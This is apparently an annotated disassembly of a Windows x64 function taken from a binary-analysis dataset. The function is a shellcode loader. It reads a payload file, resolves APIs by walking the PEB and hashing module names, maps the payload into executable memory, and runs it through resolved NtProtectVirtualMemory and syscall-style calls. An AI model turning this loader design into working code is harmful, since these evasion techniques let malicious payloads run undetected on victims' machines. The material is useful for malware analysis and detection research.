Function at 0x1400013b0
Capabilities:
Access peb ldr_data
Get file size
Read file on windows

Disassembly:
sub rsp, 0x2d8
mov rax, qword [0x140054018]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
cmp ecx, 2
jge 0x1400013fa
mov rdx, qword [rdx]
lea rcx, str.Usage:__s__xxxxxcode.bin__n
call fcn.140001350
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.1400017e0
add rsp, 0x2d8
ret
mov r8, qword [rdx + 8]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x2e0], rbx
mov r9d, 0xffffffff
mov qword [rsp + 0x2f0], rbp
xor edx, edx
mov qword [rsp + 0x2f8], rsi
xor ecx, ecx
mov qword [rsp + 0x2d0], rdi
mov qword [rsp + 0x2c8], r14
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x2c0], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor r15d, r15d
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001733
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000172a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
lea edx, [r15 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x14000172a
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r15
mov r8d, esi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001714
cmp dword [rsp + 0x58], esi
jne 0x140001714
mov qword [rsp + 0x48], rsi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
mov rbx, rdi
nop dword [rax + rax]
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], r15
je 0x1400015c0
mov rdx, qword [rbx + 0x60]
mov rax, r15
cmp word [rdx], ax
je 0x140001562
nop dword [rax]
cmp rax, 0x3f
jae 0x140001558
movzx ecx, byte [rdx + rax*2]
mov byte [rsp + rax + 0x60], cl
inc rax
cmp word [rdx + rax*2], r15w
jne 0x140001540
cmp rax, 0x40
jae 0x140001780
lea rcx, [rsp + 0x60]
mov byte [rsp + rax + 0x60], r15b
call qword [sym.imp.USER32.dll_CharLowerA]
mov ecx, 0x99
mov rdx, 0xffffffffffffffff
mov r8, rax
inc rdx
cmp byte [rax + rdx], r15b
jne 0x140001581
mov r9d, r15d
test rdx, rdx
je 0x1400015c0
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [r8]
lea ecx, [rcx + rcx*2]
inc r9d
lea r8, [r8 + 1]
add ecx, eax
movsxd rax, r9d
cmp rax, rdx
jb 0x1400015a0
cmp ecx, 0x3e8557
je 0x1400015c9
cmp rdi, rbx
jne 0x140001520
mov rsi, qword [rbx + 0x30]
mov edx, 0x37e87586
mov rcx, rsi
mov dword [rsp + 0x40], r15d
call section..text
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov rdi, rax
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [rsp + 0x48]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], ecx
mov rbp, rax
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, rax
test rax, rax
je 0x140001710
mov rax, qword [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x22]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r8, qword [rsp + 0x48]
mov rbx, rax
mov rdx, rax
test r8, r8
je 0x140001661
sub r14, rax
nop
movzx ecx, byte [r14 + rdx]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x140001650
lea r8, str.NtProtectVirtualMemory
mov rcx, rsi
lea rdx, [rsp + 0x40]
call fcn.1400010e0
mov ecx, dword [rsp + 0x40]
lea rdx, [rdi + 0x12]
call fcn.140001790
lea rax, [rsp + 0x5c]
mov r9d, 0x40
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.1400017b3
mov edx, 0x216cacd
mov qword [rsp + 0x50], r15
mov rcx, rsi
call section..text
xor r9d, r9d
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call rax
mov edx, 0x3b9882
mov rcx, rsi
call section..text
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov rdx, rbp
call rax
lea r8, str.NtWaitForSingleObject
mov rcx, rsi
lea rdx, [rsp + 0x40]
call fcn.1400010e0
mov ecx, dword [rsp + 0x40]
lea rdx, [rdi + 0x12]
call fcn.140001790
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call fcn.1400017b3
xor eax, eax
jmp 0x140001738
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140001733
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov r14, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d0]
mov rsi, qword [rsp + 0x2f8]
mov rbp, qword [rsp + 0x2f0]
mov rbx, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.1400017e0
add rsp, 0x2d8
ret
call fcn.140001920
int3